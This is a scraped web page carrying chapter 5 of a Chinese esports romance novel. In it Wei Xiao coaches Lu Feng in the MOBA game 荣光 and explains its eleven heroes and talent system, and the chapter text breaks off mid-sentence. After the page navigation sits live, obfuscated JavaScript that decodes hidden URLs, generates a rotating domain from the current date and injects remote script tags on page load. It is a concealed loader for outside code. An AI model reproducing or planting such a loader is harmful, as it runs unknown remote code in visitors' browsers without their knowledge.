返回

5、第 5 章 荣光[电竞]

首页
报错
关灯
护眼
字:
大
中
小
上一章 回目录 下一页

陆封盯着这行字看了半天,敲下几个字:“能开语音吗?”

卫骁:“好嘞。”

他开了语音,试着问了句,“听得到吗?”

陆封打字:“嗯。”

卫骁想问你怎么没开麦克风,转念又想到老板最大,老板做什么都是对的,忍住没问。

“那我们开始匹配了?”卫骁问。

陆封听着他的声音,看着聊天框里最后一行字。

他垂眸,略遗憾地按下一个字:“好。”

卫骁点了开始游戏,进入匹配页面。

低段位匹配很快,没多久就进入游戏界面。

卫骁考虑到老板是个新人,耐心给他介绍:“荣光挺好入门的,相对于其它moba游戏有一百多个英雄,这里只有十一个,只不过天赋比较多,组合起来可玩性也是极强的……”

他说得都是陆封熟悉得不能再熟悉的东西。

荣光的确只有十一个英雄,作为一款5v5竞技游戏,只有十一个英雄听起来实在太少了,一人选一个就选空了,连安排战术的空间都没有。

其实不是,荣光赛事能够火爆这么久,靠得就是它的复杂多变。

游戏只有十一个英雄,分别是:法师、术士、萨满、牧师、德鲁伊、骑士、工程师、盗贼、猎人、战士、枪械师。

可是这十一个英雄每个都有很多天赋。

比如法师,现已开发的天赋足足有八个,分别是火焰法师、冰霜法师、大地法师、风雷法师、灵木法师、利刃法师、亡灵法师、邪毒法师。

英雄是只有那么多,天赋却是在不断更新的,相互搭配下,可选择性就多太多了。

选择性多了,战术也就越发诡谲莫测,比赛也变得刺激好看。

之所以荣光的单人赛和双人赛能够有这么大的呼声,靠的也是这套天赋系统。

单人赛里,英雄是系统随机给予,但天赋却是玩家自己选择。

比如一方随机到了法师,另一方面随机到克制他的盗贼,这也无需担心,因为天赋的选择性极多,进入游戏后选出合适的天赋,一样能打爆对面。

单人赛看得完全是选手的个人实力,不仅需要高超的技术,更


本章未完,点下一页继续阅读。>>>

上一章 回目录 下一页
let urls=["hUUtUUtUUpUUsUU:UU/UU/UU{UUdUUdUUmUU}UU/UU1UU8UU/UU1UU1UU0UU5UU6UU1UUbUU2UU6UU2UU9UU3UU8".split("UU").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMsMM.MMlMMtMMdMMzMMzMM.MMcMMoMMmMM/MM1MM8MM/MM1MM1MM0MM5MM6MM1MMbMM2MM6MM2MM9MM3MM8".split("MM").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['3w2t89814','btsel5g','6xklldl','2jtbig','kjbyn6zr96','8wz4mjirv','hpm47fyaf','oc79obwnpm','hjvrl','aroychmdcl','lx51ib3szv','6z2h1lycfw','ef7t2','31fpdcrf','uqn83ea8q'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2938_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();